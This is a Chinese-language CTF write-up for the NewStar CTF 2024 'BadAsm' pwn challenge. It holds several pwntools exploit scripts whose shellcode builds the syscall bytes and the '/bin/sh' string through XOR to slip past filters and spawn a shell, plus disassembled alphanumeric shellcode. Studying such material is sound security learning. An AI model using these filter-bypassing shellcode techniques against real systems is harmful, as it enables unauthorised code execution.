本文最后更新于 2024-11-26T00:50:06+08:00
Week2_BadAsm
逆向分析
- read写入buf,复制到dest进行执行
- read遇到
\x00
中断
- 同时限制了syscall/sysenter/int 0x80的出现
尝试执行
出现栈溢出报错,分段故障
调试一下
exec函数除了rdi,rsi寄存器都置零了
解题思路
直接shellcraft不仅会出现\x00
而且会有syscall导致特判不通过
- add sp,0x848换成add rsp,0x848,至少需要填充两字节
- mov rax,0x732f2f2f6e69622f ,push rax换成push 0x732f2f2f6e69622f,出现报错
- x86-64 架构下,
push
指令只能处理 32 位(4 字节)的立即数值(push imm32
)
寄存器压栈
两次push压栈
参考
工具分析
机器码转换成汇编代码
Online Assembler and Disassembler
官方wp分析
BadAsm | WriteUp - NewStar CTF 2024
- 异或调用read,输入shellcraft.sh(),在read后面执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * from Crypto.Util.number import long_to_bytes, bytes_to_long
context.log_level='debug' context(arch='amd64', os='linux') context.terminal=['tmux', 'splitw', '-h']
ELFpath = ('./pwn')
p=process('./pwn')
shellcode=''' ; // 目标: 使用 syscall 执行 read(0, code, 0x3fff) mov rsp, rdi mov rax, rdi add sp, 0x0848 ; // 从开头到这里的作用是给 rsp 一个合法值,使 push/pop 指令能够正常执行。同时设置 rax 的值方便后面往当前 shellcode 末尾拼接上 syscall 指令的机器码。
mov rsi,rdi mov dx, 0x3fff ; // 这两行作用是设置 rsi rdx 寄存器
mov cx, 0x454f xor cx, 0x4040 ; // 这两行作用是用异或搓出来 0f 05 (syscall 的机器码) add al, 0x40 mov [rax], cx ; // rax原本指向的是当前段的开始位置,加上一个偏移,在之后指向的地方写入 0f 05,即 syscall,相当于拼接到当前 shellcode 后面。
xor rdi, rdi xor rax, rax ; // 设置 read 的系统调用号 0,设置 rdi 寄存器 ''' p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90'))
pause() p.send(b'a'*0x42+asm(shellcraft.sh())) p.interactive()
|
- 通过异或将/bin/sh\x00写入,然后设置rax,调用execve执行execve(“/bin/sh”,0,0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| shellcode=''' ; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall ; //输入参数 mov rsp, rdi add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop,任意一个可读写段即可,我们这里刚好有rdi中存储的 shellcode 的段的起始位置,正好这个段有读写权限,就直接拿来在 0x848 偏移的位置当作栈顶了(加偏移是为了防止某些操作破坏写入的 shellcode) mov rsi, 0x4028636f2e49226f mov rdx, 0x4040104040204040;//让/bin/sh\x00异或一遍这个,在异或一遍就还原了 xor rsi, rdx push rsi ; // 异或搓出来'/bin/sh\x00'(正好 8 字节,一个寄存器能存下) 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置 ; //设置 mov ax, 0x454f xor ax, 0x4040 mov rsi, rdi ; //rdi指向shellcode起始位置,后移0x40拼在最后面 add rsi, 0x40 mov [rsi], ax ; // 搓出来 syscall 的机器码 0f 05 并且拼接到当前 shellcode 后面。
mov rdi, rsp ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00' xor rsi, rsi xor rdx, rdx ; // 设置 rsi, rdx xor rax, rax mov al, 59 ; // 设置 execve 的系统调用号 ''' p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90'))
|
- 设置好寄存器的传参,将syscall放入可执行段中,这里是栈中,通过jump rsp执行syscall
- 不需要nop指令链接,发送payload可以去掉ljust了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| shellcode=''' ; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall mov rsp, rdi add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop mov rsi, 0x4028636f2e49226f mov rdx, 0x4040104040204040 xor rsi, rdx push rsi ; // 异或搓出来 '/bin/sh\x00' 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置
mov rdi, rsp ; // 设置 rdi,指向之前push到栈上面的 '/bin/sh\x00' xor rsi, rsi xor rdx, rdx ; // 设置 rsi, rdx xor rax, rax mov al, 59 ; //设置 execve 的系统调用号
mov cx, 0xf5ff xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码 push rcx ; // push 到栈顶,rsp 此时指向的是 syscall 指令 jmp rsp ''' p.sendafter("Input your Code :", asm(shellcode))
|
除了使用异或方式去除/bin/sh\x00后面的\x00,还可改为/bin///sh,shellcraft.sh()采用这种方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| shellcode=''' ;//目标:执行execve("/bin///sh",0,0) mov rsp,rdi add sp,0x0848 ;//给rsp一个合法值,使程序能正常执行push/pop
push 0x68 mov rax,0x732f2f2f6e69622f push rax ;//将'/bin///sh'push到栈上面,最后一个字符使第六行push的,高位默认填充为0,此时就不用异或了
mov rdi, rsp ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00' xor rsi, rsi xor rdx, rdx ; // 设置 rsi, rdx xor rax, rax mov al, 59 ; // 设置 execve 的系统调用号
mov cx, 0xf5ff xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码 push rcx ; // push 到栈顶,rsp 此时指向的是 syscall 指令 jmp rsp '''
|
使用mov byte ptr [r8+0x17],0xf mov byte ptr [r8+0x18],0x5 使用汇编指令写入到内存中,拆开0xf 0x5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| shellcode = ''' mov r8,rdi mov rsp,rdi add sp,0x0848 push 0x68 mov rax,0x732f2f2f6e69622f push rax mov rdi,rsp xor rsi,rsi xor rdx,rdx xor rax,rax mov al,59 mov byte ptr [r8+0x30],0xf mov byte ptr [r8+0x31],0x5 ''' p.sendlineafter(b'Code : ',asm(shellcode))
|
查看写多少位,可以直接通过exp的debug信息,查看多少字节
wp1
[NewStar 2024] week2_2024-newstarctf-week2-CSDN博客
调用read输入shellcraft
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * context(arch='amd64', log_level='debug') p = remote('39.106.48.123', 34301) shellcode = ''' mov rsp,rsi; add rsp,0x70; push rdi;pop rsi; xor rdi,rdi; push 0x70; pop rdx; push 0x17; pop rbx; xor byte ptr[rsi+rbx],0x40 ''' shellcode = asm(shellcode)+b'\x0f\x45' p.sendlineafter(b"Input your Code : \n", shellcode) sleep(0.5) p.send(b'\x90'*0x20+ asm(shellcraft.sh())) p.interactive()
|
汇编的;
会注释后面的代码,计算机器码的时候注意
wp2
放着了解一下,可见shellcode与超短shellcode
禁用syscall的shellcode | Mr.BW的妙妙屋
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import* from LibcSearcher import* from ctypes import* from struct import pack context(log_level='debug',arch='amd64',os='linux')
libc=ELF('/home/mrbw/Desktop/pwn_tools/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6') libc=ELF('./libc.so.6') e=ELF('./asm') r=process('./asm')
s = lambda content : r.send(content) sl = lambda content : r.sendline(content) sa = lambda content,send : r.sendafter(content, send) sla = lambda content,send : r.sendlineafter(content, send) rc = lambda number : r.recv(number) ru = lambda content : r.recvuntil(content) ru("Input your Code : \n") gdb.attach(r,'b exec') payload=asm(''' mov rsp,rsi add rsp,0x50 add rsp,0x50 mov al,0x6 xor [rdi+0x26],rax
''')
payload+=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x03' print(payload) s(payload) r.interactive()
|
辅助
超短shellcode出处
CTF-PWN-ret2shellcode全解_ret2 ctf-CSDN博客
1 2 3 4 5 6 7 8 9
| 0x00: 48 31 F6 xor rsi, rsi 0x03: 56 push rsi 0x04: 48 BF 2F 62 69 6E 2F 2F 73 68 movabs rdi, 0x68732f2f6e69622f 0x0e: 57 push rdi 0x0f: 54 push rsp 0x10: 5F pop rdi 0x11: B0 3B mov al, 0x3b 0x13: 99 cdq 0x14: 0F 05 syscall
|
另外两种可见shellcode出处,全部转换成可见字符
全是可见字符的shellcode | Introspelliam
第一个64位的,第二个32位的
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA
505949494949494949494949515A5654583330565834415030413348483041303041424141425441415132414232424230424258503841434A4A49524A544B56384D49505232465538364D33534C495A473248364F3433535833303538364F43524359424E4C494D3351424B584448533043304550564F45323249424E464F334342483550305751434B394B51584D4B304141
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| 0x00: 50 push rax 0x01: 59 pop rcx 0x02: 49 49 49 49 49 49 49 49 49 49 51 push r9 0x0d: 5A pop rdx 0x0e: 56 push rsi 0x0f: 54 push rsp 0x10: 58 pop rax 0x11: 33 30 xor esi, dword ptr [rax] 0x13: 56 push rsi 0x14: 58 pop rax 0x15: 34 41 xor al, 0x41 0x17: 50 push rax 0x18: 30 41 33 xor byte ptr [rcx + 0x33], al 0x1b: 48 48 30 41 30 xor byte ptr [rcx + 0x30], al 0x20: 30 41 42 xor byte ptr [rcx + 0x42], al 0x23: 41 41 42 54 push rsp 0x27: 41 41 51 push r9 0x2a: 32 41 42 xor al, byte ptr [rcx + 0x42] 0x2d: 32 42 42 xor al, byte ptr [rdx + 0x42] 0x30: 30 42 42 xor byte ptr [rdx + 0x42], al 0x33: 58 pop rax 0x34: 50 push rax 0x35: 38 41 43 cmp byte ptr [rcx + 0x43], al 0x38: 4A 4A 49 52 push r10 0x3c: 4A 54 push rsp 0x3e: 4B 56 push r14 0x40: 38 4D 49 cmp byte ptr [rbp + 0x49], cl 0x43: 50 push rax 0x44: 52 push rdx 0x45: 32 46 55 xor al, byte ptr [rsi + 0x55] 0x48: 38 36 cmp byte ptr [rsi], dh 0x4a: 4D 33 53 4C xor r10, qword ptr [r11 + 0x4c] 0x4e: 49 5A pop r10 0x50: 47 32 48 36 xor r9b, byte ptr [r8 + 0x36] 0x54: 4F 34 33 xor al, 0x33 0x57: 53 push rbx 0x58: 58 pop rax 0x59: 33 30 xor esi, dword ptr [rax] 0x5b: 35 38 36 4F 43 xor eax, 0x434f3638 0x60: 52 push rdx 0x61: 43 59 pop r9 0x63: 42 4E 4C 49 4D 33 51 42 xor r10, qword ptr [r9 + 0x42] 0x6b: 4B 58 pop r8 0x6d: 44 48 53 push rbx 0x70: 30 43 30 xor byte ptr [rbx + 0x30], al 0x73: 45 50 push r8 0x75: 56 push rsi 0x76: 4F 45 32 32 xor r14b, byte ptr [r10] 0x7a: 49 42 4E 46 4F 33 43 42 xor r8, qword ptr [r11 + 0x42] 0x82: 48 35 50 30 57 51 xor rax, 0x51573050 0x88: 43 4B 39 4B 51 cmp qword ptr [r11 + 0x51], rcx 0x8d: 58 pop rax 0x8e: 4D 4B 30 41 41 xor byte ptr [r9 + 0x41], al
|
PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx
50596A30583430505050505150614A525834446A3059494949494930444E3052583530324130357239734F5054593031413031525835303044303563465A42505459303153583534304430355A4658625054594130314130315358353041303035586E52595053583541413030356E6E4358505358354141303035706C62585054594130315478
测试发现这是32位的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| 0x00: 50 push eax 0x01: 59 pop ecx 0x02: 6A 30 push 0x30 0x04: 58 pop eax 0x05: 34 30 xor al, 0x30 0x07: 50 push eax 0x08: 50 push eax 0x09: 50 push eax 0x0a: 50 push eax 0x0b: 51 push ecx 0x0c: 50 push eax 0x0d: 61 popal 0x0e: 4A dec edx 0x0f: 52 push edx 0x10: 58 pop eax 0x11: 34 44 xor al, 0x44 0x13: 6A 30 push 0x30 0x15: 59 pop ecx 0x16: 49 dec ecx 0x17: 49 dec ecx 0x18: 49 dec ecx 0x19: 49 dec ecx 0x1a: 49 dec ecx 0x1b: 30 44 4E 30 xor byte ptr [esi + ecx*2 + 0x30], al 0x1f: 52 push edx 0x20: 58 pop eax 0x21: 35 30 32 41 30 xor eax, 0x30413230 0x26: 35 72 39 73 4F xor eax, 0x4f733972 0x2b: 50 push eax 0x2c: 54 push esp 0x2d: 59 pop ecx 0x2e: 30 31 xor byte ptr [ecx], dh 0x30: 41 inc ecx 0x31: 30 31 xor byte ptr [ecx], dh 0x33: 52 push edx 0x34: 58 pop eax 0x35: 35 30 30 44 30 xor eax, 0x30443030 0x3a: 35 63 46 5A 42 xor eax, 0x425a4663 0x3f: 50 push eax 0x40: 54 push esp 0x41: 59 pop ecx 0x42: 30 31 xor byte ptr [ecx], dh 0x44: 53 push ebx 0x45: 58 pop eax 0x46: 35 34 30 44 30 xor eax, 0x30443034 0x4b: 35 5A 46 58 62 xor eax, 0x6258465a 0x50: 50 push eax 0x51: 54 push esp 0x52: 59 pop ecx 0x53: 41 inc ecx 0x54: 30 31 xor byte ptr [ecx], dh 0x56: 41 inc ecx 0x57: 30 31 xor byte ptr [ecx], dh 0x59: 53 push ebx 0x5a: 58 pop eax 0x5b: 35 30 41 30 30 xor eax, 0x30304130 0x60: 35 58 6E 52 59 xor eax, 0x59526e58 0x65: 50 push eax 0x66: 53 push ebx 0x67: 58 pop eax 0x68: 35 41 41 30 30 xor eax, 0x30304141 0x6d: 35 6E 6E 43 58 xor eax, 0x58436e6e 0x72: 50 push eax 0x73: 53 push ebx 0x74: 58 pop eax 0x75: 35 41 41 30 30 xor eax, 0x30304141 0x7a: 35 70 6C 62 58 xor eax, 0x58626c70 0x7f: 50 push eax 0x80: 54 push esp 0x81: 59 pop ecx 0x82: 41 inc ecx 0x83: 30 31 xor byte ptr [ecx], dh 0x85: 54 push esp
|